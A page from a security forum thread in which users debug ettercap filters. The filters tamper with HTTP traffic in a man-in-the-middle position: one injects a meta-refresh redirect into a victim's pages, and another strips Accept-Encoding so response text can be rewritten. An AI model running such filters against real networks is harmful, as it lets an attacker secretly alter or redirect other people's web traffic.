Page 2 of 3 FirstFirst 123 LastLast
Results 11 to 20 of 29

Thread: ettercap filter

  1. #11
    Senior Member imported_spankdidly's Avatar
    Join Date
    Feb 2006
    Posts
    1,031

    Default

    This may not help in the slightest, but a filter I found awhile back for redirecting webpages.

    if (ip.proto == TCP && tcp.src == 80) {
    replace("<HEAD>", "<HEAD><META http-equiv=\"refresh\" content=\"0;URL=http://www.zombo.com\">");
    replace("<head>", "<head><META http-equiv=\"refresh\" content=\"0;URL=http://www.zombo.com\">");
    msg("zombo'ed!\n");
    }
    I felt like bending the bars back, and ripping out the window frames and eating them. yes, eating them! Leaping, leaping, leaping! Colonics for everyone! All right! You dumb*sses. I'm a mental patient. I'm *supposed* to act out!

  2. #12
    My life is this forum thorin's Avatar
    Join Date
    Jan 2010
    Posts
    2,629

    Default

    Do you ever see "run" or "run2" in the message window?

    It "shouldn't" matter but your curley braces {} are on the wrong lines (see the other examples you've quoted).
    Also don't forget the "\n" in your msg output for new (or next) line.

    Are you running ettercap on the same machine you're using as the victim?

  3. #13
    Junior Member
    Join Date
    Jul 2007
    Posts
    44

    Default

    Quote Originally Posted by thorin View Post
    Do you ever see "run" or "run2" in the message window?
    No I haven't

    Quote Originally Posted by thorin View Post
    It "shouldn't" matter but your curley braces {} are on the wrong lines (see the other examples you've quoted).
    I'm not sure to understand. Do you mean a difference between

    Code:
    if ( .... ) {
     ..
    }
    and
    Code:
    if ( .... ) 
    {
     ..
    }
    Quote Originally Posted by thorin View Post
    Also don't forget the "\n" in your msg output for new (or next) line.
    ok, I'll add the \n

    Quote Originally Posted by thorin View Post
    Are you running ettercap on the same machine you're using as the victim?
    No, ettercap is running on a different machine

  4. #14
    Just burned his ISO
    Join Date
    Feb 2010
    Posts
    14

    Default

    .... Have a look at your code...I believe your searching for something other than Accept-Encoding???/l
    if (search(DATA.data, "Accept-Encoding"))

  5. #15
    My life is this forum thorin's Avatar
    Join Date
    Jan 2010
    Posts
    2,629

    Default

    I'm not sure to understand. Do you mean a difference between
    Yes. But like I said it "shouldn't matter", though I've seen stupid things like that kill people in the past.

    Do you see "zapped Accept-Encoding!" in the message window when you tested that example?

  6. #16
    Junior Member
    Join Date
    Jul 2007
    Posts
    44

    Default

    Quote Originally Posted by thorin View Post
    Do you see "zapped Accept-Encoding!" in the message window when you tested that example?
    Yes I do. But I don't see "run" nor "run2". (maybe cos of the "\n" ?) I'll try it again once I'm back home and I'll let you know.

  7. #17
    My life is this forum thorin's Avatar
    Join Date
    Jan 2010
    Posts
    2,629

    Default

    Well the zapped message does contain the /n so run or run2 should appear on the line after it, if they're being triggered correctly.

  8. #18
    Junior Member
    Join Date
    Jul 2007
    Posts
    44

    Default

    So here we go again. This is the filter:
    Code:
    if (ip.proto == TCP && tcp.dst == 80) {
       if (search(DATA.data, "Accept-Encoding")) {
          replace("Accept-Encoding", "Accept-Rubbish!"); 
    	  # note: replacement string is same length as original string
          msg("zapped Accept-Encoding!\n");
       }
    }
    
    if (ip.proto == TCP && tcp.src == 80) 
    {
       if (search(DECODED.data, "Google")){
          replace("Google", "GOOGLE"); 
          msg("run\n");
       }
    
       if (search(DATA.data, "Google")){
          replace("Google", "GOOGLE"); 
          msg("run2\n");
       }
    }
    When a victims loads a google page, I see "zapped Accept-Encoding!" in Ettercap console. Wireshark can see those modified packets.

    But I can't see "run" or "run2".

  9. #19
    Junior Member
    Join Date
    Jul 2007
    Posts
    44

    Default

    Am I the only one with this problem ?

  10. #20
    Senior Member imported_spankdidly's Avatar
    Join Date
    Feb 2006
    Posts
    1,031

    Default

    And you're changing all the Iptables stuff from irongeeks page? I never really had a problem. Some pages didn't work, but most did (with his script). Not sure where you are going wrong.
    I felt like bending the bars back, and ripping out the window frames and eating them. yes, eating them! Leaping, leaping, leaping! Colonics for everyone! All right! You dumb*sses. I'm a mental patient. I'm *supposed* to act out!

Page 2 of 3 FirstFirst 123 LastLast

Posting Permissions

  • You may not post new threads
  • You may not post replies
  • You may not post attachments
  • You may not edit your posts
  •